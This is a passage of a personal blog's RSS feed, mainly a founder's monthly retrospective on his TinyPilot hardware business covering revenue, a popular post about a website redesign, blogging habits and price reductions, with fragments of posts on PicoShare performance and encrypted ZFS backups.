&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="picoshare-120">PicoShare 1.2.0&lt;/h2>
&lt;p>Over the weekend, I published PicoShare&amp;rsquo;s &lt;a href="https://github.com/mtlynch/picoshare/releases/tag/1.2.0">1.2.0 release&lt;/a>, which includes fixes for all the performance issues I discovered through this investigation.&lt;/p>
&lt;h2 id="acknowledgments">Acknowledgments&lt;/h2>
&lt;p>A big thanks to everyone who helped me investigate this issue, but a special thanks to a few people who went above and beyond:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://twitter.com/benbjohnson">Ben Johnson&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://danwilhelm.com/">Dan Wilhelm&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.agwa.name/">Andrew Ayer&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/raggi">James Tucker&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/mrkurt">Kurt Mackey&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://billywhizz.io/">Andrew Johnston&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://notes.eatonphil.com/">Phil Eaton&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 25</title><link>https://mtlynch.io/retrospectives/2022/08/</link><pubDate>Fri, 05 Aug 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/08/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>My blog post about redesigning the TinyPilot website became my second most popular article of all time&lt;/li>
&lt;li>I&amp;rsquo;m exploring ways to preserve more knowledge on my blog&lt;/li>
&lt;li>I&amp;rsquo;ve lowered TinyPilot&amp;rsquo;s prices in an effort to reduce inventory&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="finalize-plans-for-managing-tinypilot-licenses">Finalize plans for managing TinyPilot licenses&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Made no progress&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>Migrating to the next-gen update system took longer than I expected, so I ended up not making progress on this.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>My blog post about redesigning the TinyPilot website became my second most popular article of all time&lt;/li>
&lt;li>I&amp;rsquo;m exploring ways to preserve more knowledge on my blog&lt;/li>
&lt;li>I&amp;rsquo;ve lowered TinyPilot&amp;rsquo;s prices in an effort to reduce inventory&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="finalize-plans-for-managing-tinypilot-licenses">Finalize plans for managing TinyPilot licenses&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Made no progress&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>Migrating to the next-gen update system took longer than I expected, so I ended up not making progress on this.&lt;/p>
&lt;h3 id="migrate-tinypilot-community-to-the-next-generation-update-system">Migrate TinyPilot Community to the next-generation update system&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We&amp;rsquo;re close but haven&amp;rsquo;t pulled the trigger yet&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>Overhauling our update system is one of those things that keeps seeming like we&amp;rsquo;re days away from finishing, and then we find more things to fix. So, it&amp;rsquo;s taking a long time, but I think it&amp;rsquo;s a symptom of how complicated our old system was. I&amp;rsquo;m looking forward to the better maintainability of our new system.&lt;/p>
&lt;h3 id="publish-the-blog-post-about-the-tinypilot-website-redesign">Publish the blog post about the TinyPilot website redesign&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://mtlynch.io/tinypilot-redesign/">&amp;ldquo;I Regret My $46k Website Redesign&amp;rdquo;&lt;/a>, which became my second most popular blog post&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I thought it would be easy to write this since I&amp;rsquo;d written so much in my retros, but it took me about two months to complete. It got an unexpectedly strong response with 157k unique readers in its first week. It continues to ripple out and attract new visitors as people see it in other channels and then add it to things like design newsletters.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2022&lt;/th>
 &lt;th>July 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>10,056&lt;/td>
 &lt;td>21,242&lt;/td>
 &lt;td>&lt;font color="green">+11,186 (+111%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>18,764&lt;/td>
 &lt;td>33,578&lt;/td>
 &lt;td>&lt;font color="green">+14,814 (+79%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$65,597.73&lt;/td>
 &lt;td>$56,954.66&lt;/td>
 &lt;td>&lt;font color="red">-$8,643.07 (-13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>&lt;font color="green">+$242.95 (+509%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$1,710.27&lt;/td>
 &lt;td>$2,513.71&lt;/td>
 &lt;td>&lt;font color="green">+$803.44 (+47%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$67,355.75&lt;/td>
 &lt;td>$59,759.07&lt;/td>
 &lt;td>&lt;font color="red">-$7,596.68 (-11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$4,230.17&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$12,349.21&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$8,119.04 (192%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Sales are still strong following the website redesign. There was a 13% drop, but that&amp;rsquo;s almost entirely due to a single order. In June, a large company placed a complicated, custom order for $4,200. The day after we shipped it, they changed their minds and canceled the order. So, $8,400 of the delta between the last two months was because June had the revenue and July had the refund.&lt;/p>
&lt;p>But oof on that negative profit. Every month, I feel like I&amp;rsquo;ve seen the last of my large, one-time costs, and then something pops up that eats up the profit. This month, it was $17k in hardware engineering to redesign around the chip shortage and a $10k invoice from an old vendor who hadn&amp;rsquo;t gotten around to billing me for work done a year ago.&lt;/p>
&lt;h2 id="my-redesign-regret-blog-post">My redesign regret blog post&lt;/h2>
&lt;p>&lt;a href="https://mtlynch.io/tinypilot-redesign/">&amp;ldquo;I Regret My $46k Website Redesign&amp;rdquo;&lt;/a> is now my second most popular blog post of all time, attracting 157k unique readers in its first week. It was the second most upvoted post &lt;a href="https://news.ycombinator.com/item?id=32179563">on Hacker News&lt;/a> for all of July, and it reached the top spot of the &lt;a href="https://www.reddit.com/r/web_design/comments/w4ir7r/i_regret_my_46k_website_redesign/">/r/web_design&lt;/a> and &lt;a href="https://www.reddit.com/r/programming/comments/w5egi7/i_regret_my_46k_website_redesign/">/r/programming&lt;/a> subreddits. The only article I&amp;rsquo;ve ever written that&amp;rsquo;s attracted more attention was, &lt;a href="https://mtlynch.io/why-i-quit-google/">&amp;ldquo;Why I Quit Google to Work for Myself,&amp;rdquo;&lt;/a> which had 389k readers.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/08/redesign-analytics.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/08/redesign-analytics_hu_2cc2fcd53ca5219c.png 300w, https://mtlynch.io/retrospectives/2022/08/redesign-analytics_hu_bf1b915149030998.png 600w, https://mtlynch.io/retrospectives/2022/08/redesign-analytics_hu_1818ed07ded38c5a.png 800w, https://mtlynch.io/retrospectives/2022/08/redesign-analytics.png 1090w'
 src="https://mtlynch.io/retrospectives/2022/08/redesign-analytics.png" alt="Graph of visitors to blog post on Plausible showing 157k unique visitors, 197k total pageviews, 87% bounce rate, 34m19s time on page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://mtlynch.io/tinypilot-redesign/">”I Regret My $46k Website Redesign“&lt;/a> became my second most popular blog post of all time, with 157k unique readers in its first week.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The day after I published it, Jonathan Stark invited me to &lt;a href="https://podcast.ditchinghourly.com/episodes/michael-lynch-i-regret-my-46k-website-redesign">be a guest on his podcast, &lt;em>Ditching Hourly&lt;/em>&lt;/a>. Jonathan felt like the whole debacle was due to hourly billing creating poor incentives. I respectfully disagreed, and I think we had an interesting discussion.&lt;/p>
&lt;h3 id="why-was-the-post-so-popular">Why was the post so popular?&lt;/h3>
&lt;p>I&amp;rsquo;m honestly surprised that the post got as much attention as it did.&lt;/p>
&lt;p>Any of my posts can flop, but I thought this one had an especially high risk of failure. It had several factors working against it:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s 4,100 words and an estimated 20-minute read, nearly twice as long as my usual posts.&lt;/li>
&lt;li>It&amp;rsquo;s a good match for Hacker News, but I wasn&amp;rsquo;t confident it would match anywhere else.&lt;/li>
&lt;li>Paying a web design agency $46k is not a relatable experience to most people.&lt;/li>
&lt;li>If it missed on social media platforms (Hacker News, reddit), it had little chance of discovery through Google because nobody searches &amp;ldquo;website redesign regret.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>Seeing the post succeed, I realize I failed to consider a few important strengths.&lt;/p>
&lt;p>First, it&amp;rsquo;s a story, and people love stories. Most of my successful blog posts are stories. Even if a reader is not particularly interested in a topic, they&amp;rsquo;ll stick around if they connect to the human elements of the story.&lt;/p>
&lt;p>Next, it&amp;rsquo;s more relatable than I considered. Even though a minuscule portion of the population hires designers, nearly everyone has opinions about design. And I know almost nothing about design, so it was impossible for me to alienate anyone with language that was too jargony or academic. I also wonder if people related to it on the level of feeling taken advantage of by a business, which is more common than the specific experience of hiring a design agency.&lt;/p>
&lt;p>Last, it&amp;rsquo;s about blowing a lot of money on something stupid, and people find those stories compelling. It&amp;rsquo;s fun to hear about money and (relatively) big numbers, whether it&amp;rsquo;s gaining or losing.&lt;/p>
&lt;h3 id="why-didnt-you-name-and-shame-the-agency">Why didn&amp;rsquo;t you name and shame the agency?&lt;/h3>
&lt;p>One of the most common responses I heard was that I should have named the agency instead of referring to them by a pseudonym.&lt;/p>
&lt;p>I had a few reasons for keeping the agency anonymous:&lt;/p>
&lt;ul>
&lt;li>The point was to learn from the experience, and blaming everything on the agency doesn&amp;rsquo;t teach me much.&lt;/li>
&lt;li>I didn&amp;rsquo;t want them to respond and have a whole public back-and-forth about who was to blame.&lt;/li>
&lt;li>I didn&amp;rsquo;t want people harassing the agency on the basis of my one-sided story.&lt;/li>
&lt;/ul>
&lt;p>But in writing up this retro, I realized none of those reasons explain my decision. I&amp;rsquo;ve named and shamed companies in the past where all of those reasons would have applied:&lt;/p>
&lt;ul>
&lt;li>I accused &lt;a href="https://mtlynch.io/stripe-recording-its-customers/">Stripe&lt;/a> of collecting excessive data about their customers.&lt;/li>
&lt;li>I accused &lt;a href="https://mtlynch.io/collect-debt/">a keto bread company&lt;/a> of underpaying its affiliates.&lt;/li>
&lt;li>I accused &lt;a href="https://blog.spaceduck.io/siaberry-2/">a crypto company&lt;/a> of putting its customers at risk and being generally incompetent.&lt;/li>
&lt;/ul>
&lt;p>I think the real reason I didn&amp;rsquo;t name the agency was that it just felt too personal. I&amp;rsquo;d worked with these people for eight months and frequently spoke with them face to face. It felt extremely cold to turn around and villainize them on my blog.&lt;/p>
&lt;p>If the agency&amp;rsquo;s shortcomings had been more egregious, then I&amp;rsquo;d happily name them. Like if they&amp;rsquo;d tried to install a backdoor or cryptocurrency miner onto my website, then sure — all bets are off. But applying &lt;a href="https://en.wikipedia.org/wiki/Hanlon%27s_razor">Hanlon&amp;rsquo;s razor&lt;/a>, I think this was more a consequence of poor management rather than bad faith, so it didn&amp;rsquo;t feel like a public shaming was warranted.&lt;/p>
&lt;h3 id="is-it-worth-writing-blog-posts-like-this">Is it worth writing blog posts like this?&lt;/h3>
&lt;p>Since starting TinyPilot, I&amp;rsquo;ve drastically cut back on writing. For most of last year, I felt like I didn&amp;rsquo;t have enough hours in the day to complete critical TinyPilot work, so it didn&amp;rsquo;t make sense to spend an hour per day blogging.&lt;/p>
&lt;p>Back in March, I &lt;a href="https://mtlynch.io/retrospectives/2022/04/#i-have-free-time-again">found enough free time&lt;/a> to start blogging again, but only about topics that tie back to TinyPilot. So, is it worth it?&lt;/p>
&lt;p>The new blog posts have been successful at bringing people to the TinyPilot website. Looking at visitor analytics for 2022, there are clear spikes around when I published blog posts related to TinyPilot:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/08/2022-analytics.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/08/2022-analytics_hu_5a7e65340d19d2ae.png 300w, https://mtlynch.io/retrospectives/2022/08/2022-analytics_hu_8ceab5e9d84f56bc.png 600w, https://mtlynch.io/retrospectives/2022/08/2022-analytics.png 765w'
 src="https://mtlynch.io/retrospectives/2022/08/2022-analytics.png" alt="Screenshot of Google Analytics for 2022, showing visit spikes correlating with my last two blog posts" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>But visitors aren&amp;rsquo;t all paying customers. Especially with an article like the one about redesigning the website, a large proportion of visitors are just curious about the site and have no interest in the product.&lt;/p>
&lt;p>Looking at sales data, the blog posts don&amp;rsquo;t correlate as strongly with increases in purchases:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/08/2022-sales.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/08/2022-sales_hu_f65e1cb5bd6c6508.png 300w, https://mtlynch.io/retrospectives/2022/08/2022-sales_hu_ed4b447a86b4382b.png 600w, https://mtlynch.io/retrospectives/2022/08/2022-sales_hu_915aa06b5a4b448b.png 800w, https://mtlynch.io/retrospectives/2022/08/2022-sales.png 1030w'
 src="https://mtlynch.io/retrospectives/2022/08/2022-sales.png" alt="Screenshot of Google Analytics for 2022, showing visit spikes correlating with my last two blog posts" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: The sales spike after my first blog post is a bit exaggerated because it includes a large order from a customer who ended up canceling. Due to a bug in Shopify&amp;rsquo;s analytics, this order is counted twice in the graph. So, the spike should be $8,400 shorter than it is.
&lt;/div>

&lt;p>Coming back to the question of whether these blog posts are worth the investment: I say yes, but I don&amp;rsquo;t really have a strong evidence.&lt;/p>
&lt;p>I enjoy blogging, and I strongly dislike the feeling that I&amp;rsquo;m too busy to write. Although I can&amp;rsquo;t prove that my articles translate into TinyPilot sales, I think there&amp;rsquo;s a long-term positive effect in terms of awareness. I believe my articles make people aware of TinyPilot who might otherwise not even realize a product like mine exists.&lt;/p>
&lt;h2 id="less-tweeting-more-blogging">Less tweeting, more blogging&lt;/h2>
&lt;p>Last month on Twitter, Josh Pitzalis asked me about something I&amp;rsquo;d written about programmatic SEO:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 602px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/08/josh-pitzalis-tweet.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 602px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/08/josh-pitzalis-tweet_hu_818dfc51a9682277.png 300w, https://mtlynch.io/retrospectives/2022/08/josh-pitzalis-tweet_hu_cc662950f3ece759.png 600w, https://mtlynch.io/retrospectives/2022/08/josh-pitzalis-tweet.png 600w'
 src="https://mtlynch.io/retrospectives/2022/08/josh-pitzalis-tweet.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I knew I&amp;rsquo;d used programmatic SEO to generate pages for &lt;a href="https://wanderjest.com">my local comedy site&lt;/a>, but I couldn&amp;rsquo;t figure out what he was talking about. I vaguely remembered writing something, but I couldn&amp;rsquo;t find anything in my blog.&lt;/p>
&lt;p>A few hours later, Josh ended up finding the thing he&amp;rsquo;d remembered reading: a Twitter thread I&amp;rsquo;d completely forgotten:&lt;/p>
&lt;blockquote class="twitter-tweet" data-dnt="true">&lt;p lang="en" dir="ltr">I did a neat long-tail SEO thing. In just one week, I got WanderJest to appear on the first page of Google results for searches related to live comedy.&lt;br>&lt;br>I don&amp;#39;t have a way to scale it yet, but it&amp;#39;s fun seeing the experiment work.&lt;br>&lt;br>A short thread about how I did it. &lt;a href="https://t.co/Qxjk1vSnox">pic.twitter.com/Qxjk1vSnox&lt;/a>&lt;/p>&amp;mdash; Michael Lynch (@deliberatecoder) &lt;a href="https://x.com/deliberatecoder/status/1411709346845650944?ref_src=twsrc%5Etfw">July 4, 2021&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8">&lt;/script>


&lt;p>Ever since that exchange, I&amp;rsquo;ve been thinking about how I can write more on my blog and less on other platforms. Twitter is an especially bad medium for preserving knowledge because it&amp;rsquo;s ephemeral by design. I forget what I post there, and searching my post history is slow and tedious.&lt;/p>
&lt;p>When I started blogging, it was because I kept running into technical problems where I wished a tutorial existed, so I&amp;rsquo;d write my own. Over time, I found that readers responded more to the story of me figuring something out than the solution itself. For example, &lt;a href="https://mtlynch.io/greenpithumb/">my article about building a plant watering robot&lt;/a> was one of my first popular posts, and it was because I focused more on the story than the technical details.&lt;/p>
&lt;p>My change in style has helped me write more popular articles, but I&amp;rsquo;m once again left with the problem of not having a good place to share solutions to things I found challenging. So, I&amp;rsquo;m experimenting with posts that aren&amp;rsquo;t meant to attract a wide readership but are just a place for me to share useful knowledge.&lt;/p>
&lt;p>My first attempt to return to a &amp;ldquo;capture knowledge&amp;rdquo; style of article was a post I published last week called, &lt;a href="https://mtlynch.io/zfs-encrypted-backups/">&amp;ldquo;Back Up Encrypted ZFS Data without Unlocking It.&amp;rdquo;&lt;/a> It didn&amp;rsquo;t get much traction anywhere, but it&amp;rsquo;s now the top result on Google for the (admittedly specific) search query of &amp;ldquo;back up encrypted zfs data&amp;rdquo;:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/08/back-up-zfs.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/08/back-up-zfs_hu_22d27eb46c41fe67.png 300w, https://mtlynch.io/retrospectives/2022/08/back-up-zfs_hu_d605312cca3135c6.png 600w, https://mtlynch.io/retrospectives/2022/08/back-up-zfs_hu_8ada108bdc9d6dd4.png 800w, https://mtlynch.io/retrospectives/2022/08/back-up-zfs.png 851w'
 src="https://mtlynch.io/retrospectives/2022/08/back-up-zfs.png" alt="Screenshot of my article at #1 for Google search of &amp;#39;back up encrypted zfs data&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My logs say I spent just under 6 hours writing it, so I feel like it was a good return on investment. Writing it clarified my understanding of how ZFS worked, and I feel like it will be a useful reference for me even if nobody else reads it.&lt;/p>
&lt;p>Though I&amp;rsquo;m trying to keep more content on my blog, I think some things are still a better fit for Twitter. For the past two weeks, I&amp;rsquo;ve been trying to figure out why PicoShare keeps crashing on systems with low RAM, and I&amp;rsquo;ve been tweeting my progress.&lt;/p>
&lt;blockquote class="twitter-tweet" data-dnt="true">&lt;p lang="en" dir="ltr">I&amp;#39;ve been trying to debug a crash I&amp;#39;m seeing with PicoShare, my minimalist web app. Follow me on the journey, and perhaps you&amp;#39;ll have some ideas!&lt;br>&lt;br>PicoShare randomly exhausts memory and dies, even when nobody&amp;#39;s accessing it. &lt;a href="https://t.co/fGvYiX4zGK">pic.twitter.com/fGvYiX4zGK&lt;/a>&lt;/p>&amp;mdash; Michael Lynch (@deliberatecoder) &lt;a href="https://x.com/deliberatecoder/status/1552438652537835521?ref_src=twsrc%5Etfw">July 27, 2022&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8">&lt;/script>


&lt;p>People seem to enjoy the thread, and I&amp;rsquo;ve received lots of great advice that helped me identify issues much more quickly than if I&amp;rsquo;d been doing it by myself. That&amp;rsquo;s the ideal content for Twitter because I&amp;rsquo;m sharing live progress and not a finished result.&lt;/p>
&lt;h2 id="experimenting-more-with-tinypilot-pricing">Experimenting more with TinyPilot pricing&lt;/h2>
&lt;p>In July, I reduced prices on TinyPilot products for the first time this year.&lt;/p>
&lt;p>For a long time, I&amp;rsquo;d been moving in the other direction — gradually increasing prices in search of the limit where people would think it&amp;rsquo;s too expensive. Every time I raised prices, I thought, &amp;ldquo;People aren&amp;rsquo;t going to buy at this new price. That&amp;rsquo;s crazy!&amp;rdquo; And then it seemed like revenues stayed the same or increased. And even if revenues stay flat in response to price increases, that&amp;rsquo;s still a win because it&amp;rsquo;s easier to support a smaller number of higher-paying customers.&lt;/p>
&lt;p>Another factor keeping prices high was that we couldn&amp;rsquo;t manufacture new devices. The Voyager 2 requires a custom PCB that our hardware engineering partner designed. We did an initial run of 900 units, but then we couldn&amp;rsquo;t produce more due to part shortages. The hardware engineers had to redesign the PCB, so I increased prices to stretch out our inventory.&lt;/p>
&lt;p>Fortunately, the hardware engineers were able to redesign and manufacture a new batch of PCBs just in time. We were down to our last six devices! For the next few months, at least, we should be unconstrained by manufacturing capacity.&lt;/p>
&lt;p>Now, we have a backlog of raw materials, so I&amp;rsquo;d rather sell them and not have so much of the company&amp;rsquo;s assets tied up in inventory that&amp;rsquo;s just taking up shelf space. I&amp;rsquo;ve reduced prices to see if it will increase our sales velocity:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Product&lt;/th>
 &lt;th>Old Price&lt;/th>
 &lt;th>New Price&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Voyager 2 Standard&lt;/td>
 &lt;td>$389&lt;/td>
 &lt;td>$349&lt;/td>
 &lt;td>-$40 (-11%)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Voyager 2 PoE&lt;/td>
 &lt;td>$448&lt;/td>
 &lt;td>$398&lt;/td>
 &lt;td>-$50 (-11%)&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>In theory, lowering prices should increase sales, but these things are hard to predict. It could be that anyone who&amp;rsquo;d buy TinyPilot at $349 would also buy it at $389. In that case, I&amp;rsquo;m just forfeiting $40 per sale. I&amp;rsquo;ll hopefully have a better idea of the effects by the end of the month.&lt;/p>
&lt;p>I&amp;rsquo;m also curious to see how this affects the ratio of sales between the PoE version and the non-PoE version. Historically, the non-PoE version has outsold the PoE version 2:1. In the limited time since I&amp;rsquo;ve adjusted pricing, the ratio has drifted closer to 1:1, so I&amp;rsquo;ll see if that holds.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published two new blog posts: &lt;a href="https://mtlynch.io/tinypilot-redesign/">&amp;ldquo;I Regret My $46k Website Redesign&amp;rdquo;&lt;/a> and &lt;a href="https://mtlynch.io/zfs-encrypted-backups/">&amp;ldquo;Back Up Encrypted ZFS Data without Unlocking It&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Added more functionality to Gatekeeper, the new TinyPilot web service that manages access to software updates&lt;/li>
&lt;li>Fixed &lt;a href="https://twitter.com/deliberatecoder/status/1552438652537835521">several performance issues&lt;/a> in &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>People might relate to parts of a story that you don&amp;rsquo;t expect&lt;/li>
&lt;li>Although Twitter is short-term satisfying, there&amp;rsquo;s better long-term value in capturing knowledge on my blog&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Migrate TinyPilot Community and TinyPilot Pro to the next-generation update system&lt;/li>
&lt;li>Finalize plans for managing TinyPilot licenses&lt;/li>
&lt;li>Send TinyPilot Voyager to two YouTube creators or bloggers for review&lt;/li>
&lt;/ul></content:encoded></item><item><title>Back Up Encrypted ZFS Data without Unlocking It</title><link>https://mtlynch.io/zfs-encrypted-backups/</link><pubDate>Fri, 29 Jul 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/zfs-encrypted-backups/</guid><description>&lt;!-- Linter is getting confused about the asterisks in cron syntax -->
&lt;!-- markdownlint-disable MD037 -->
&lt;p>I recently &lt;a href="https://mtlynch.io/budget-nas/">built my first home TrueNAS server&lt;/a>. I use it to store the bulk of my personal and work data, so I&amp;rsquo;ve been learning how to make the most of TrueNAS and its filesystem, ZFS.&lt;/p>
&lt;p>Today, I want to tell you about backing up encrypted data.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/all-parts.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/all-parts_hu_4301c536aa984f.jpg 300w, https://mtlynch.io/zfs-encrypted-backups/all-parts_hu_f3201880069950e2.jpg 600w, https://mtlynch.io/zfs-encrypted-backups/all-parts_hu_4abc7a235f67eea4.jpg 800w, https://mtlynch.io/zfs-encrypted-backups/all-parts_hu_90fb21018b3b948f.jpg 1200w, https://mtlynch.io/zfs-encrypted-backups/all-parts.jpg 2000w'
 src="https://mtlynch.io/zfs-encrypted-backups/all-parts.jpg" alt="Photo of NAS server parts in retail packaging" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/completed-build.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/completed-build_hu_ef1cf4b5aba35a8e.jpg 300w, https://mtlynch.io/zfs-encrypted-backups/completed-build_hu_aaed93eab60d1167.jpg 600w, https://mtlynch.io/zfs-encrypted-backups/completed-build_hu_467877c283a68e4a.jpg 800w, https://mtlynch.io/zfs-encrypted-backups/completed-build_hu_4029380e4c4ebee6.jpg 1200w, https://mtlynch.io/zfs-encrypted-backups/completed-build.jpg 2000w'
 src="https://mtlynch.io/zfs-encrypted-backups/completed-build.jpg" alt="Photo of completed server build" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>My &lt;a href="https://mtlynch.io/budget-nas/">homelab TrueNAS server&lt;/a>&lt;/p></description><content:encoded>&lt;!-- Linter is getting confused about the asterisks in cron syntax -->
&lt;!-- markdownlint-disable MD037 -->
&lt;p>I recently &lt;a href="https://mtlynch.io/budget-nas/">built my first home TrueNAS server&lt;/a>. I use it to store the bulk of my personal and work data, so I&amp;rsquo;ve been learning how to make the most of TrueNAS and its filesystem, ZFS.&lt;/p>
&lt;p>Today, I want to tell you about backing up encrypted data.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/all-parts.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/all-parts_hu_4301c536aa984f.jpg 300w, https://mtlynch.io/zfs-encrypted-backups/all-parts_hu_f3201880069950e2.jpg 600w, https://mtlynch.io/zfs-encrypted-backups/all-parts_hu_4abc7a235f67eea4.jpg 800w, https://mtlynch.io/zfs-encrypted-backups/all-parts_hu_90fb21018b3b948f.jpg 1200w, https://mtlynch.io/zfs-encrypted-backups/all-parts.jpg 2000w'
